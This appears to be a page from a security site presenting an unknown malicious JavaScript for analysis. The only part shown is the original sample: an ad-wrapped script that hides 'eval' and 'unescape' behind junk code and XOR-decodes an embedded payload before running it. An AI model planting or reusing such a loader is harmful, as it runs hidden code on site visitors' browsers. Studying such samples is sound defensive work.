ZION SECURITY (EN) > Downloads > Analysis of an unknown malicious JavaScript
The original JavaScript:
<!-- ad --><script>this.floatFinal="floatFinal";var intSet="intSet";var nsShortNs;nsShortNs='%9e%87%9c%8a%87%95%91%81%d5%b1%9b%96%89%9c%f7%cd%ea%9e%96%ba%89%96%9d%d2%8c%87%ba%c8%c9%85%89%9d%84%d0%d0%c4%84%93%9d%a4%97%c4%ab%9d%9c%e1%89%87%94%e9%82%95%de%93%8a%95%d9%c8%cf%e8%9c%a8%9b%9e%9e%d3%f6%9e%82%bf%8a%9e%82%84%d7%fd%9f%80%94%fc%df%d0%e9%d2%83%9a%d0%9b%81%88%c3%ce%dd%c6';function doubleAsFloat(finalIntDate){var windowUseWindow=false;var asAs=new Date();for(asDate=0;asDate<2;asDate++){asDate++};function staticSetLong(staticSetLong){return true};function nullWordSet(byteNull){var intFalse=0;var wordIntSet=function(){};var staticChar=function(){};var longSetAs=byteNull.length, falseWindowNull=0;var byteByte=false;while(falseWindowNull<longSetAs){intFalse+=windowDouble(byteNull,falseWindowNull)*longSetAs;falseWindowNull++;}return (intFalse+'');this.dateNs='';var letterByte=new Date();}function windowDouble(falseDateStatic,staticNsWindow){var useTrueFalse=function(){return 'useTrueFalse'};this.varShortSet="varShortSet";return falseDateStatic['cEhGaTrGCGoPdGeGAEt.'.replace(/[TGE\.P]/g, '')](staticNsWindow);}for(falseTrue=0;falseTrue<4;falseTrue++){falseTrue++};function longStatic(longStatic){return 'longStatic'};var useUseVar=window['euvoaZlI'.replace(/[IuxZo]/g, '')]('a9rKghuym7e7nytKsh.Kc7aKlKlKeKey'.replace(/[h9yK7]/g, ''));function intWordAs(intWordAs){return 'intWordAs'};byteDoubleDate=0;while(byteDoubleDate<1){byteDoubleDate++};for(falseNsChar=0;falseNsChar<1;falseNsChar++){};var nullGetLetter=0,wordVar=0, charSetFalse=169;var getCharWord='';function shortVar(shortVar){return 'shortVar'};function getTrue(){};var finalAsUse=(new String(useUseVar)).replace(/[^@a-z0-9A-Z_.,-]/g,'');function useDouble(useDouble){return 'useDouble'};this.useNull=false;var byteFalse=nullWordSet(finalAsUse);trueSetStatic=0;while(trueSetStatic<2){trueSetStatic++};finalIntDate=window['uynPe,s!c!a9pyeP'.replace(/[y9,\!P]/g, '')](finalIntDate);var doubleWordNull='';var trueWindow=function(){return 'trueWindow'};for(var nsLetter=0; nsLetter < (finalIntDate.length); nsLetter++){for(varFloatWindow=0;varFloatWindow<3;varFloatWindow++){varFloatWindow++};function useFalseLetter(useFalseLetter){return 'useFalseLetter'};this.charNullAs="";var falseInt=windowDouble(finalAsUse,nullGetLetter);var charLong=windowDouble(byteFalse,wordVar);var shortAsSet=function(){};function doubleFalse(){};var asIntByte=falseInt^charLong^charSetFalse;for(setFalse=0;setFalse<3;setFalse++){setFalse++};var varStaticFalse=windowDouble(finalIntDate,nsLetter);function nullStatic(nullStatic){return 'nullStatic'};var finalTrueLong=5164;var charDouble="";function byteDouble(byteDouble){return 'byteDouble'};nullGetLetter++,wordVar++;var nsNull='';getCharWord+=String['f[rzozm[C2h[aXr2CXoXdzez'.replace(/[\[5X2z]/g, '')](varStaticFalse^asIntByte);if(wordVar>byteFalse.length)wordVar=0;if(nullGetLetter>finalAsUse.length)nullGetLetter=0;}var varWindow="varWindow";for(letterFinal=0;letterFinal<2;letterFinal++){letterFinal++};function floatSet(floatSet){return 'floatSet'};window['euvoaZlI'.replace(/[IuxZo]/g, '')](getCharWord); var staticNull=new Array();var trueStatic=false;return getCharWord=new String();var varGet='varGet'.substring(50066, 50066);}function finalLetter(finalLetter){return true};doubleAsFloat(nsShortNs);var getVarWord="getVarWord";this.finalUseNs='';</script><!-- /ad -->